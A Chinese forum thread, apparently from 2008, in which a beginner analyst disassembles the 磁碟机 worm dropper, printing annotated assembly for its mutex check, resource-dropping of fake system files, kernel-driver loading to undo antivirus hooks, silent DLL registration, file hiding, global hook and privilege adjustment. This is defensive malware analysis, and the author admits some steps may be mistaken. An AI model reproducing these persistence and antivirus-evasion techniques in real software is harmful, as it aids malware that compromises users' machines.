发新话题
打印

飞不高的菜鸟稚嫩的一次分析磁碟机简单旅程

本主题由 铁军 于 2008-3-2 13:50 设置高亮

飞不高的菜鸟稚嫩的一次分析磁碟机简单旅程

文件: Setup.exe
大小: 159744 字节
修改时间: 2008年2月25日, 02:46:28
MD5: E4284D269C5FE7C4F3D1EF9D24AE2077
SHA1: F315C0DE3C095126ED1693F1EC6689F227FFA4E2
CRC32: 80A32F35
加壳:UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo
编写语言:Microsoft Visual C++ 6.0


写在前面:
         花了几天时间,参考了几个高手的分析,才有了这个残篇,在这里表示感谢轩辕小聪(答阳光,关于pagefile_pif对付安全软件行为的实现举例),loveboom(熊猫烧香病毒分析及解决方案),孤独更可靠(磁碟机变种简单分析(lsass.exe、smss.exe、dnsq.dll、NetApi000.sys),清新阳光(新年伊始警惕“磁碟机”新变种(LSASS.exe,SMSS.exe,netcfg.dll,pagefile.pif)(征集更好的查杀方法)
         学习过程中还有很多很多东西还是不明不白了,估计有很多地方跟出来可能还是错的,只有慢慢来了,虽然这只是残篇,权作自我激励吧,以下就是本篇的主要内容



1.CreateMutexA创建一个互斥变量,判断病毒是否已经存在内存中
复制内容到剪贴板
代码:
.text:004057FC 68 E0 C7 40 00    push    offset s_Cnjbla       ; "CNJBla"
.text:00405801 8D 4D 90          lea     ecx, [ebp+var_70]
.text:00405804 C6 45 FC 3A       mov     byte ptr [ebp+var_4], 3Ah
.text:00405808 E8 C3 20 00 00    call    CString::operator=(char const *)
.text:00405808
.text:0040580D 68 D8 C7 40 00    push    offset s_Ipboff       ; "ipbofF"
.text:00405812 8D 4D 90          lea     ecx, [ebp+var_70]
.text:00405815 E8 CE 20 00 00    call    CString::operator+=(char const *)
.text:00405815
.text:0040581A FF 75 90          push    [ebp+var_70]          ; lpName
.text:0040581D 6A 01             push    1                     ; bInitialOwner
.text:0040581F 53                push    ebx                   ; lpMutexAttributes
.text:00405820 FF 15 A4 90 40 00 call    ds:CreateMutexA       ; |pSecurity = NULL
.text:00405820                                                 ; |InitialOwner = TRUE
.text:00405820                                                 ;  \MutexName = "CNJBlaipbofF"
.text:00405820
2.释放文件(有几个跟丢了 ^_^ )
病毒主要是读取自身的资源,然后释放出来害人,以下是资源和文件的对照
复制内容到剪贴板
代码:

\ResourceType = "sexe"
|ResourceName = C4=196号资源
|FileName = "C:\winnt\system32\com\smss.exe"
|Access = GENERIC_WRITE
|ShareMode = 0
|pSecurity = NULL
|Mode = CREATE_ALWAYS
|Attributes = 0
\hTemplateFile = NULL

\ResourceType = "sexa"
|ResourceName = C0=192号资源
|FileName = "C:\winnt\system32\com\netcfg.000"
|Access = GENERIC_WRITE
|ShareMode = 0
|pSecurity = NULL
|Mode = CREATE_ALWAYS
|Attributes = 0
\hTemplateFile = NULL
resouse=sexh
|FileName = "C:\winnt\system32\com\lsass.exe"
\ResourceType = "sexs"
|ResourceName = C2=194号资源
|FileName = "C:\NetApi000.sys"
|Access = GENERIC_WRITE
|ShareMode = 0
|pSecurity = NULL
|Mode = CREATE_ALWAYS
|Attributes = 0
\hTemplateFile = NULL

\ResourceType = "sexp"
|ResourceName = C1=193号资源
|FileName = "c:\pagefile.exe"
|Access = GENERIC_WRITE
|ShareMode = 0
|pSecurity = NULL
|Mode = CREATE_ALWAYS
|Attributes = 0
\hTemplateFile = NULL

\ResourceType = "sexh"
|ResourceName = C3=195号资源
|FileName = "C:\winnt\system32\dnsq.dll"
|Access = GENERIC_WRITE
|ShareMode = 0
|pSecurity = NULL
|Mode = CREATE_ALWAYS
|Attributes = 0
\hTemplateFile = NULL
具体实现的反汇编代码,FindResourceA获取资源,SizeofResource 计算资源的大小,LoadResource 来装载获取的资源,WriteFile写入吧 ^_^
复制内容到剪贴板
代码:

..text:00403B42 68 C4 C6 40 00    push    offset s_Sexe         ; "sexe"
.text:00403B47 E8 CC 3D 00 00    call    CString::CString(char const *)
.text:00403B47
.text:00403B4C 68 C4 00 00 00    push    0C4h                  ; hObject
.text:00403B51 51                push    ecx                   ; lpFileName
.text:00403B52 8D 45 08          lea     eax, [ebp+lpFileName]
.text:00403B55 8B CC             mov     ecx, esp
.text:00403B57 89 65 EC          mov     [ebp+var_14], esp
.text:00403B5A 50                push    eax
.text:00403B5B C6 45 FC 01       mov     byte ptr [ebp+var_4], 1
.text:00403B5F E8 72 3D 00 00    call    CString::CString(CString const &)
.text:00403B5F
.text:00403B64 80 65 FC 00       and     byte ptr [ebp+var_4], 0
.text:00403B68 8B CE             mov     ecx, esi
.text:00403B6A E8 99 F7 FF FF    call    process_resources

.text:00403308                   process_resources proc near   ; CODE XREF: sub_403B09+61p
.text:00403308                                                 ; sub_403DF4+7B3p
.text:00403308                                                 ; sub_403DF4+10DDp
.text:00403308                                                 ; sub_403DF4+18A4p
.text:00403308                                                 ; sub_403DF4+1DABp
.text:00403308
.text:00403308                   NumberOfBytesWritten= dword ptr -14h
.text:00403308                   hResData= dword ptr -10h
.text:00403308                   var_C= dword ptr -0Ch
.text:00403308                   var_4= dword ptr -4
.text:00403308                   lpFileName= dword ptr  8
.text:00403308                   hObject= dword ptr  0Ch
.text:00403308                   lpType= dword ptr  10h
.text:00403308
.text:00403308 B8 84 81 40 00    mov     eax, offset __ehhandler$?CreateNewChild@CMDIFrameWnd@@QAEPAVCMDIChildWnd@@PAUCRuntimeClass@@IPAUHMENU__@@PAUHACCEL__@@@Z
.text:0040330D E8 AE 46 00 00    call    _EH_prolog
.text:0040330D
.text:00403312 51                push    ecx
.text:00403313 51                push    ecx
.text:00403314 53                push    ebx
.text:00403315 56                push    esi
.text:00403316 57                push    edi
.text:00403317 33 FF             xor     edi, edi
.text:00403319 89 7D FC          mov     [ebp+var_4], edi
.text:0040331C 0F B7 45 0C       movzx   eax, word ptr [ebp+hObject]
.text:00403320 FF 75 10          push    [ebp+lpType]          ; lpType
.text:00403323 50                push    eax                   ; lpName
.text:00403324 57                push    edi                   ; hModule
.text:00403325 FF 15 64 90 40 00 call    ds:FindResourceA      ; |hModule = NULL
.text:00403325                                                 ; |ResourceName = C4
.text:00403325                                                 ; \ResourceType = "sexe"
.text:00403325                                                 ;
.text:00403325
.text:0040332B 8B D8             mov     ebx, eax
.text:0040332D 3B DF             cmp     ebx, edi
.text:0040332F 0F 84 CA 00 00 00 jz      loc_4033FF
.text:0040332F
.text:00403335 53                push    ebx                   ; hResInfo
.text:00403336 57                push    edi                   ; hModule
.text:00403337 FF 15 70 90 40 00 call    ds:SizeofResource     ; |hModule = NULL
.text:00403337                                                 ; \hResource = 0040F0C8
.text:00403337                                                 ;
.text:00403337
.text:0040333D 53                push    ebx                   ; hResInfo
.text:0040333E 57                push    edi                   ; hModule
.text:0040333F 8B F0             mov     esi, eax
.text:00403341 FF 15 68 90 40 00 call    ds:LoadResource       ; |hModule = NULL
.text:00403341                                                 ; \hResource = 0040F188
.text:00403341
.text:00403347 3B C7             cmp     eax, edi              ; edi=00000000
.text:00403347                                                 ; eax=00415890 (Setup.00415890)
.text:00403347                                                 ;
.text:00403349 89 45 F0          mov     [ebp+hResData], eax
.text:0040334C 0F 84 AD 00 00 00 jz      loc_4033FF
.text:0040334C
.text:00403352 57                push    edi                   ; hTemplateFile
.text:00403353 57                push    edi                   ; dwFlagsAndAttributes
.text:00403354 6A 02             push    2                     ; dwCreationDisposition
.text:00403356 57                push    edi                   ; lpSecurityAttributes
.text:00403357 57                push    edi                   ; dwShareMode
.text:00403358 68 00 00 00 40    push    40000000h             ; dwDesiredAccess
.text:0040335D FF 75 08          push    [ebp+lpFileName]      ; lpFileName
.text:00403360 FF 15 E0 90 40 00 call    ds:CreateFileA        ; |FileName = "C:\winnt\system32\com\smss.exe"
.text:00403360                                                 ; |Access = GENERIC_WRITE
.text:00403360                                                 ; |ShareMode = 0
.text:00403360                                                 ; |pSecurity = NULL
.text:00403360                                                 ; |Mode = CREATE_ALWAYS
.text:00403360                                                 ; |Attributes = 0
.text:00403360                                                 ; \hTemplateFile = NULL
.text:00403360
.text:00403366 3B C7             cmp     eax, edi              ; edi=00000000
.text:00403366                                                 ; eax=000001AC
.text:00403366                                                 ;
.text:00403368 89 45 0C          mov     [ebp+hObject], eax
.text:0040336B 0F 84 8E 00 00 00 jz      loc_4033FF
.text:0040336B
.text:00403371 8B 1D 70 93 40 00 mov     ebx, ds:malloc
.text:00403377 56                push    esi                   ; Size=1001 (4097.)
.text:00403378 FF D3             call    ebx ; malloc
.text:00403378
.text:0040337A 56                push    esi                   ; Size
.text:0040337B 8B F8             mov     edi, eax
.text:0040337D FF D3             call    ebx ; malloc
.text:0040337D
.text:0040337F 59                pop     ecx
.text:00403380 8B D8             mov     ebx, eax
.text:00403382 85 FF             test    edi, edi
.text:00403384 59                pop     ecx
.text:00403385 74 76             jz      short loc_4033FD
.text:00403385
.text:00403387 85 DB             test    ebx, ebx
.text:00403389 74 72             jz      short loc_4033FD
.text:00403389
.text:0040338B 56                push    esi                   ; Size= 1001 (4097.)
.text:0040338C FF 75 F0          push    [ebp+hResData]        ; hResData=Handles = 415890 (4282512.)
.text:0040338F FF 15 6C 90 40 00 call    ds:LockResource
.text:0040338F
.text:00403395 50                push    eax                   ; Src=Setup.00415890
.text:00403396 53                push    ebx                   ; Dst=00348060
.text:00403397 E8 3C 46 00 00    call    memcpy                ; |dest = 00348060
.text:00403397                                                 ; |src = Setup.00415890
.text:00403397                                                 ; \n = 1001 (4097.)
.text:00403397                                                 ;
.text:00403397
.text:0040339C 83 C4 0C          add     esp, 0Ch
.text:0040339F 33 C9             xor     ecx, ecx
.text:004033A1 85 F6             test    esi, esi
.text:004033A3 76 0F             jbe     short loc_4033B4
.text:004033A3
.text:004033A5 8D 44 33 FF       lea     eax, [ebx+esi-1]
.text:004033A5
.text:004033A9
.text:004033A9                   loc_4033A9:                   ; CODE XREF: process_resources+AAj
.text:004033A9 8A 10             mov     dl, [eax]             ; ds:[00349060]=0D (Carriage Return)
.text:004033A9                                                 ; dl=01
.text:004033A9                                                 ;
.text:004033AB 88 14 39          mov     [ecx+edi], dl         ; dl=0D (Carriage Return)
.text:004033AB                                                 ; ds:[01208470]=0D (Carriage Return)
.text:004033AE 41                inc     ecx
.text:004033AF 48                dec     eax
.text:004033B0 3B CE             cmp     ecx, esi
.text:004033B2 72 F5             jb      short loc_4033A9
.text:004033B2
.text:004033B4
.text:004033B4                   loc_4033B4:                   ; CODE XREF: process_resources+9Bj
.text:004033B4 33 C0             xor     eax, eax
.text:004033B6 80 3F 0D          cmp     byte ptr [edi], 0Dh
.text:004033B9 75 16             jnz     short loc_4033D1
.text:004033B9
.text:004033BB 6A 01             push    1
.text:004033BD 59                pop     ecx
.text:004033BE 3B F1             cmp     esi, ecx
.text:004033C0 8B C1             mov     eax, ecx
.text:004033C2 76 0D             jbe     short loc_4033D1
.text:004033C2
.text:004033C4
.text:004033C4                   loc_4033C4:                   ; CODE XREF: process_resources+C7j
.text:004033C4 8A 14 39          mov     dl, [ecx+edi]
.text:004033C7 F6 D2             not     dl
.text:004033C9 88 14 39          mov     [ecx+edi], dl
.text:004033CC 41                inc     ecx
.text:004033CD 3B CE             cmp     ecx, esi
.text:004033CF 72 F3             jb      short loc_4033C4
.text:004033CF
.text:004033D1
.text:004033D1                   loc_4033D1:                   ; CODE XREF: process_resources+B1j
.text:004033D1                                                 ; process_resources+BAj
.text:004033D1 8D 4D EC          lea     ecx, [ebp+NumberOfBytesWritten]
.text:004033D4 6A 00             push    0                     ; lpOverlapped=NULL
.text:004033D6 2B F0             sub     esi, eax              ; eax=00000001
.text:004033D6                                                 ; esi=00001001
.text:004033D8 51                push    ecx                   ; lpNumberOfBytesWritten=ecx=0012E098
.text:004033D8                                                 ;
.text:004033D9 03 C7             add     eax, edi              ; edi=01208470
.text:004033D9                                                 ; eax=00000001
.text:004033DB 56                push    esi                   ; nNumberOfBytesToWrite=esi=00001000
.text:004033DC 50                push    eax                   ; lpBuffer=eax=01208471
.text:004033DD FF 75 0C          push    [ebp+hObject]         ; hFile=堆栈 ss:[0012E0B8]=000001AC
.text:004033E0 FF 15 90 90 40 00 call    ds:WriteFile          ; |hFile = 000001AC
.text:004033E0                                                 ; |Buffer = 01208471
.text:004033E0                                                 ; |nBytesToWrite = 1000 (4096.)
.text:004033E0                                                 ; |pBytesWritten = 0012E098
.text:004033E0
.text:004033E6 57                push    edi                   ; Memory
.text:004033E7 8B F0             mov     esi, eax
.text:004033E9 FF 15 78 93 40 00 call    ds:free
.text:004033E9
.text:004033EF 59                pop     ecx
.text:004033F0 FF 75 0C          push    [ebp+hObject]         ; hObject=堆栈 ss:[0012E0B8]=000001AC
.text:004033F3 FF 15 60 90 40 00 call    ds:CloseHandle
[ 本帖最后由 一把锈剑 于 2008-3-1 15:11 编辑 ]

TOP

2.2 NetApi000.sys通过OpenSCManagerA,CreateServiceA ,StartServiceA几个服务相关的api来启动自己还原安全软件hook的SSDT。

.
复制内容到剪贴板
代码:

text:00402064                   sub_402064 proc near          ; CODE XREF: sub_403DF4+10FCp
.text:00402064
.text:00402064                   BinaryPathName= byte ptr -104h
.text:00402064
.text:00402064 55                push    ebp
.text:00402065 8B EC             mov     ebp, esp
.text:00402067 81 EC 04 01 00 00 sub     esp, 104h
.text:0040206D 56                push    esi
.text:0040206E 8D 85 FC FE FF FF lea     eax, [ebp+BinaryPathName]
.text:00402074 FF 35 B8 D0 40 00 push    Source                ; Source="C:\NetApi000.sys")
.text:0040207A 50                push    eax                   ; Dest=eax=0012DFAC
.text:0040207B E8 4C 59 00 00    call    strcpy                ; |dest = 0012DFAC
.text:0040207B                                                 ; \src = "C:\NetApi000.sys"
.text:0040207B
.text:00402080 8D 85 FC FE FF FF lea     eax, [ebp+BinaryPathName] ; eax=0012DFAC, (ASCII "C:\NetApi000.sys")
.text:00402086 50                push    eax                   ; lpBinaryPathName
.text:00402087 E8 F2 FE FF FF    call    sub_401F7E            ; eax=0012DFAC, (ASCII "C:\NetApi000.sys")
.text:00402087
.text:0040208C 8B F0             mov     esi, eax
.text:0040208E 83 C8 FF          or      eax, 0FFFFFFFFh
.text:00402091 83 C4 0C          add     esp, 0Ch
.text:00402094 3B F0             cmp     esi, eax              ; eax=FFFFFFFF    esi=FFFFFFFF
.text:00402096 74 10             jz      short loc_4020A8
.text:00402096
.text:00402098 56                push    esi                   ; hDevice


text:00401F7E                   sub_401F7E proc near          ; CODE XREF: sub_402064+23p
.text:00401F7E
.text:00401F7E                   lpBinaryPathName= dword ptr  4
.text:00401F7E
.text:00401F7E 55                push    ebp
.text:00401F7F 56                push    esi
.text:00401F80 57                push    edi
.text:00401F81 33 F6             xor     esi, esi
.text:00401F83 6A 02             push    2                     ; dwDesiredAccess
.text:00401F85 56                push    esi                   ; lpDatabaseName
.text:00401F86 56                push    esi                   ; lpMachineName
.text:00401F87 83 CF FF          or      edi, 0FFFFFFFFh
.text:00401F8A FF 15 2C 90 40 00 call    ds:OpenSCManagerA
.text:00401F8A
.text:00401F90 8B E8             mov     ebp, eax
.text:00401F92 3B EE             cmp     ebp, esi
.text:00401F94 74 68             jz      short loc_401FFE
.text:00401F94
.text:00401F96 53                push    ebx
.text:00401F97 56                push    esi                   ; lpPassword=null
.text:00401F98 56                push    esi                   ; lpServiceStartName=NULL
.text:00401F99 56                push    esi                   ; lpDependencies=NULL
.text:00401F9A 56                push    esi                   ; lpdwTagId=NULL
.text:00401F9B 56                push    esi                   ; lpLoadOrderGroup=NULL
.text:00401F9C FF 74 24 28       push    [esp+24h+lpBinaryPathName] ; lpBinaryPathName=ASCII "C:\NetApi000.sys"
.text:00401FA0 BF F8 C3 40 00    mov     edi, offset ServiceName ; "NetApi000"
.text:00401FA5 56                push    esi                   ; dwErrorControl
.text:00401FA6 6A 03             push    3                     ; dwStartType
.text:00401FA8 6A 01             push    1                     ; dwServiceType
.text:00401FAA 6A 10             push    10h                   ; dwDesiredAccess
.text:00401FAC 57                push    edi                   ; lpDisplayName
.text:00401FAD 57                push    edi                   ; lpServiceName
.text:00401FAE 55                push    ebp                   ; hSCManager=ebp=00152660
.text:00401FAF FF 15 28 90 40 00 call    ds:CreateServiceA     ; 参数:
.text:00401FAF                                                 ; |hManager = 00152660
.text:00401FAF                                                 ; |ServiceName = "NetApi000"
.text:00401FAF                                                 ; |DisplayName = "NetApi000"
.text:00401FAF                                                 ; |DesiredAccess = SERVICE_START
.text:00401FAF                                                 ; |ServiceType = SERVICE_KERNEL_DRIVER
.text:00401FAF                                                 ; |StartType = SERVICE_DEMAND_START
.text:00401FAF                                                 ; |ErrorControl = SERVICE_ERROR_IGNORE
.text:00401FAF                                                 ; |BinaryPathName = "C:\NetApi000.sys"
.text:00401FAF                                                 ; |LoadOrderGroup = NULL
.text:00401FAF                                                 ; |pTagId = NULL
.text:00401FAF                                                 ; |pDependencies = NULL
.text:00401FAF                                                 ; |ServiceStartName = NULL
.text:00401FAF                                                 ; \Password = NULL
.text:00401FAF
.text:00401FB5 8B D8             mov     ebx, eax
.text:00401FB7 FF 15 44 90 40 00 call    ds:GetLastError
.text:00401FB7
.text:00401FBD 3D 31 04 00 00    cmp     eax, 431h
.text:00401FC2 75 0C             jnz     short loc_401FD0
.text:00401FC2
.text:00401FC4 6A 10             push    10h                   ; dwDesiredAccess
.text:00401FC6 57                push    edi                   ; lpServiceName
.text:00401FC7 55                push    ebp                   ; hSCManager
.text:00401FC8 FF 15 24 90 40 00 call    ds:OpenServiceA
.text:00401FC8
.text:00401FCE 8B D8             mov     ebx, eax
.text:00401FCE
.text:00401FD0
.text:00401FD0                   loc_401FD0:                   ; CODE XREF: sub_401F7E+44j
.text:00401FD0 56                push    esi                   ; lpServiceArgVectors
.text:00401FD1 56                push    esi                   ; dwNumServiceArgs
.text:00401FD2 53                push    ebx                   ; hService
.text:00401FD3 FF 15 20 90 40 00 call    ds:StartServiceA
.text:00401FD3
.text:00401FD9 56                push    esi                   ; hTemplateFile
.text:00401FDA 56                push    esi                   ; dwFlagsAndAttributes
.text:00401FDB 6A 03             push    3                     ; dwCreationDisposition
.text:00401FDD 56                push    esi                   ; lpSecurityAttributes
.text:00401FDE 56                push    esi                   ; dwShareMode
.text:00401FDF 68 00 00 00 C0    push    0C0000000h            ; dwDesiredAccess
.text:00401FE4 68 E4 C3 40 00    push    offset FileName       ; "\\\\.\\NetApi000DOS"
.text:00401FE9 FF 15 E0 90 40 00 call    ds:CreateFileA        ; 参数:
.text:00401FE9                                                 ; |FileName = "\\.\NetApi000DOS"
.text:00401FE9                                                 ; |Access = GENERIC_READ|GENERIC_WRITE
.text:00401FE9                                                 ; |ShareMode = 0
.text:00401FE9                                                 ; |pSecurity = NULL
.text:00401FE9                                                 ; |Mode = OPEN_EXISTING
.text:00401FE9                                                 ; |Attributes = 0
.text:00401FE9                                                 ; \hTemplateFile = NULL
.text:00401FE9
.text:00401FEF 8B 35 1C 90 40 00 mov     esi, ds:CloseServiceHandle
.text:00401FF5 53                push    ebx                   ; hSCObject
.text:00401FF6 8B F8             mov     edi, eax
.text:00401FF8 FF D6             call    esi ; CloseServiceHandle
.text:00401FF8
.text:00401FFA 55                push    ebp                   ; hSCObject
.text:00401FFB FF D6             call    esi ; CloseServiceHandle
.text:00401FFB
.text:00401FFD 5B                pop     ebx
.text:00401FFD
.text:00401FFE
.text:00401FFE                   loc_401FFE:                   ; CODE XREF: sub_401F7E+16j
.text:00401FFE 8B C7             mov     eax, edi
.text:00402000 5F                pop     edi
.text:00402001 5E                pop     esi
.text:00402002 5D                pop     ebp
.text:00402003 C3                retn
.text:00402003
.text:00402003                   sub_401F7E endp
2.2.1将自己由netcfg.000重命名为netcfg.dll

.
复制内容到剪贴板
代码:

text:004056C4 53                push    ebx                   ; bFailIfExists
.text:004056C5 FF 75 E8          push    [ebp+var_18]          ; lpNewFileName
.text:004056C8 50                push    eax                   ; lpExistingFileName
.text:004056C9 FF 15 00 91 40 00 call    ds:CopyFileA          ; |ExistingFileName = "C:\winnt\system32\com\netcfg.000"
.text:004056C9                                                 ; |NewFileName = "C:\winnt\system32\com\netcfg.dll"
.text:004056C9                                                 ; \FailIfExists = FALSE
2.2.2 调用系统的regsvr32.exe注册控件
.
复制内容到剪贴板
代码:
text:00405747 68 F8 C7 40 00    push    offset s_Cfg_dllS     ; "cfg.dll /s"
.text:0040574C 50                push    eax
.text:0040574D 8D 45 E8          lea     eax, [ebp+var_18]
.text:00405750 C6 45 FC 39       mov     byte ptr [ebp+var_4], 39h
.text:00405754 50                push    eax
.text:00405755 E8 A6 21 00 00    call    operator+(CString const &,char const *)
.text:00405755
.text:0040575A 8B 00             mov     eax, [eax]
.text:0040575C 53                push    ebx                   ; nShowCmd
.text:0040575D 53                push    ebx                   ; lpDirectory
.text:0040575E 50                push    eax                   ; lpParameters
.text:0040575F 68 E8 C7 40 00    push    offset s_Regsvr32_exe ; "regsvr32.exe"
.text:00405764 53                push    ebx                   ; lpOperation
.text:00405765 53                push    ebx                   ; hwnd
.text:00405766 FF 15 AC 93 40 00 call    ds:ShellExecuteA      ; |hWnd = NULL
.text:00405766                                                 ; |Operation = NULL
.text:00405766                                                 ; |FileName = "regsvr32.exe"
.text:00405766                                                 ; |Parameters = "C:\winnt\system32\com\netcfg.dll /s"
.text:00405766                                                 ; |DefDir = NULL
.text:00405766                                                 ; \IsShown = 0
2.2.3设置文件属性为(系统|隐藏)
.
复制内容到剪贴板
代码:
text:0040578E 8B 00             mov     eax, [eax]
.text:00405790 6A 06             push    6                     ; dwFileAttributes
.text:00405792 50                push    eax                   ; lpFileName
.text:00405793 FF 15 EC 90 40 00 call    ds:SetFileAttributesA ; |FileName = "C:\winnt\system32\com\netcfg.000"
.text:00405793                                                 ; \FileAttributes = HIDDEN|SYSTEM
.text:00405793
.text:00405799 8D 4D E8          lea     ecx, [ebp+var_18]
.text:0040579C E8 21 20 00 00    call    CString::~CString(void)
.text:0040579C
.text:004057A1 8D 45 B8          lea     eax, [ebp+var_48]
.text:004057A4 50                push    eax
.text:004057A5 8D 45 E8          lea     eax, [ebp+var_18]
.text:004057A8 57                push    edi
.text:004057A9 50                push    eax
.text:004057AA E8 4B 21 00 00    call    operator+(CString const &,CString const &)
.text:004057AA
.text:004057AF 8B 00             mov     eax, [eax]
.text:004057B1 6A 06             push    6                     ; dwFileAttributes
.text:004057B3 50                push    eax                   ; lpFileName
.text:004057B4 FF 15 EC 90 40 00 call    ds:SetFileAttributesA ; |FileName = "C:\winnt\system32\com\netcfg.dll"
.text:004057B4                                                 ; \FileAttributes = HIDDEN|SYSTEM
[ 本帖最后由 一把锈剑 于 2008-3-1 15:09 编辑 ]

TOP

2.3 dnsq.dll这个dll文件安装为全局钩子。
复制内容到剪贴板
代码:

sub_4020AB proc near          ; CODE XREF: sub_403DF4+1DBEp
.text:004020AB
.text:004020AB                   Buffer= byte ptr -9D8h
.text:004020AB                   lpProcName= dword ptr -14h
.text:004020AB                   lpLibFileName= dword ptr -10h
.text:004020AB                   var_C= dword ptr -0Ch
.text:004020AB                   var_4= dword ptr -4
.text:004020AB
.text:004020AB B8 20 7F 40 00    mov     eax, offset loc_407F20
.text:004020B0 E8 0B 59 00 00    call    _EH_prolog
.text:004020B0
.text:004020B5 81 EC CC 09 00 00 sub     esp, 9CCh
.text:004020BB 8D 85 28 F6 FF FF lea     eax, [ebp+Buffer]
.text:004020C1 68 C4 09 00 00    push    9C4h                  ; uSize
.text:004020C6 50                push    eax                   ; lpBuffer
.text:004020C7 FF 15 E8 90 40 00 call    ds:GetSystemDirectoryA
.text:004020C7
.text:004020CD 8D 4D F0          lea     ecx, [ebp+lpLibFileName]
.text:004020D0 E8 F9 56 00 00    call    CString::CString(void)
.text:004020D0
.text:004020D5 83 65 FC 00       and     [ebp+var_4], 0
.text:004020D9 68 B4 D0 40 00    push    offset dword_40D0B4
.text:004020DE 8D 4D F0          lea     ecx, [ebp+lpLibFileName]
.text:004020E1 E8 08 58 00 00    call    CString::operator=(CString const &)
.text:004020E1
.text:004020E6 FF 75 F0          push    [ebp+lpLibFileName]   ; lpLibFileName
.text:004020E9 FF 15 E4 90 40 00 call    ds:LoadLibraryA
.text:004020E9
.text:004020EF 85 C0             test    eax, eax
.text:004020F1 A3 8C E0 40 00    mov     hModule, eax
.text:004020F6 74 48             jz      short loc_402140
.text:004020F6
.text:004020F8 8D 4D EC          lea     ecx, [ebp+lpProcName]
.text:004020FB E8 CE 56 00 00    call    CString::CString(void)
.text:004020FB
.text:00402100 68 0C C4 40 00    push    offset s_Install      ; "Install"
.text:00402105 8D 4D EC          lea     ecx, [ebp+lpProcName]
.text:00402108 C6 45 FC 01       mov     byte ptr [ebp+var_4], 1
.text:0040210C E8 BF 57 00 00    call    CString::operator=(char const *)
.text:0040210C
.text:00402111 68 04 C4 40 00    push    offset s_Hook         ; "HOOK"
.text:00402116 8D 4D EC          lea     ecx, [ebp+lpProcName]
.text:00402119 E8 CA 57 00 00    call    CString::operator+=(char const *)
.text:00402119
.text:0040211E FF 75 EC          push    [ebp+lpProcName]      ; lpProcName
.text:00402121 FF 35 8C E0 40 00 push    hModule               ; hModule
.text:00402127 FF 15 D8 90 40 00 call    ds:GetProcAddress
.text:00402127
.text:0040212D A3 AC D0 40 00    mov     dword_40D0AC, eax
.text:00402132 FF D0             call    eax                   ; 这里安装全局钩子
.text:00402132
.text:00402134 80 65 FC 00       and     byte ptr [ebp+var_4], 0
.text:00402138 8D 4D EC          lea     ecx, [ebp+lpProcName]
.text:0040213B E8 82 56 00 00    call    CString::~CString(void)
.text:0040213B
.text:00402140
.text:00402140                   loc_402140:                   ; CODE XREF: sub_4020AB+4Bj
.text:00402140 83 4D FC FF       or      [ebp+var_4], 0FFFFFFFFh
.text:00402144 8D 4D F0          lea     ecx, [ebp+lpLibFileName]
.text:00402147 E8 76 56 00 00    call    CString::~CString(void)
.text:00402147
.text:0040214C 8B 4D F4          mov     ecx, [ebp+var_C]
.text:0040214F 64 89 0D 00 00 00+mov     large fs:0, ecx
.text:00402156 C9                leave
.text:00402157 C3                retn
[ 本帖最后由 一把锈剑 于 2008-3-1 14:11 编辑 ]

TOP

3.不知道这段反汇编代码是否是提升病毒自身的权限或者其他的?
复制内容到剪贴板
代码:
004050C9   .  68 34C94000   push    0040C934                  ;  seshutdownprivilege
004050CE   .  E8 A3C9FFFF   call    00401A76

sub_401A76 proc near          ; CODE XREF: sub_403DF4+10F7p
.text:00401A76                                                 ; sub_403DF4+12DAp
.text:00401A76
.text:00401A76                   NewState= _TOKEN_PRIVILEGES ptr -1Ch
.text:00401A76                   Luid= _LUID ptr -0Ch
.text:00401A76                   hObject= dword ptr -4
.text:00401A76                   lpName= dword ptr  8
.text:00401A76                   arg_4= dword ptr  0Ch
.text:00401A76
.text:00401A76 55                push    ebp
.text:00401A77 8B EC             mov     ebp, esp
.text:00401A79 83 EC 1C          sub     esp, 1Ch
.text:00401A7C 8D 45 FC          lea     eax, [ebp+hObject]
.text:00401A7F 56                push    esi
.text:00401A80 50                push    eax                   ; TokenHandle=0012E0AC
.text:00401A81 68 28 00 02 00    push    20028h                ; DesiredAccess=STANDARD_RIGHTS_READ|TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES
.text:00401A86 FF 15 5C 90 40 00 call    ds:GetCurrentProcess
.text:00401A86
.text:00401A8C 50                push    eax                   ; ProcessHandle=eax=FFFFFFFF
.text:00401A8D FF 15 18 90 40 00 call    ds:OpenProcessToken   ; |hProcess = FFFFFFFF
.text:00401A8D                                                 ; |DesiredAccess = STANDARD_RIGHTS_READ|TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES
.text:00401A8D                                                 ; \phToken = 0012E0AC
.text:00401A8D                                                 ;
.text:00401A8D
.text:00401A93 85 C0             test    eax, eax
.text:00401A95 74 53             jz      short loc_401AEA
.text:00401A95
.text:00401A97 8D 45 F4          lea     eax, [ebp+Luid]
.text:00401A9A 33 F6             xor     esi, esi
.text:00401A9C 50                push    eax                   ; lpLuid
.text:00401A9D FF 75 08          push    [ebp+lpName]          ; lpName
.text:00401AA0 56                push    esi                   ; lpSystemName
.text:00401AA1 FF 15 14 90 40 00 call    ds:LookupPrivilegeValueA ; |SystemName = NULL
.text:00401AA1                                                 ; |Privilege = "SeDebugPrivilege"
.text:00401AA1                                                 ; \pLocalId = 0012E0A4
.text:00401AA1
.text:00401AA7 85 C0             test    eax, eax
.text:00401AA9 75 05             jnz     short loc_401AB0
.text:00401AA9
.text:00401AAB 6A 01             push    1
.text:00401AAD 58                pop     eax
.text:00401AAE EB 3C             jmp     short loc_401AEC
.text:00401AAE
.text:00401AB0                   ; ---------------------------------------------------------------------------
.text:00401AB0
.text:00401AB0                   loc_401AB0:                   ; CODE XREF: sub_401A76+33j
.text:00401AB0 8B 45 F4          mov     eax, [ebp+Luid.LowPart]
.text:00401AB3 56                push    esi                   ; ReturnLength=NULL
.text:00401AB4 89 45 E8          mov     [ebp+NewState.Privileges.Luid.LowPart], eax
.text:00401AB7 8B 45 F8          mov     eax, [ebp+Luid.HighPart]
.text:00401ABA 89 45 EC          mov     [ebp+NewState.Privileges.Luid.HighPart], eax
.text:00401ABD 8B 45 0C          mov     eax, [ebp+arg_4]
.text:00401AC0 F7 D8             neg     eax
.text:00401AC2 1B C0             sbb     eax, eax
.text:00401AC4 56                push    esi                   ; PreviousState= NULL
.text:00401AC5 83 E0 02          and     eax, 2                ; eax=FFFFFFFF
.text:00401AC8 56                push    esi                   ; BufferLength=0?
.text:00401AC9 89 45 F0          mov     [ebp+NewState.Privileges.Attributes], eax
.text:00401ACC 8D 45 E4          lea     eax, [ebp+NewState]
.text:00401ACF 50                push    eax                   ; NewState=eax=0012E094
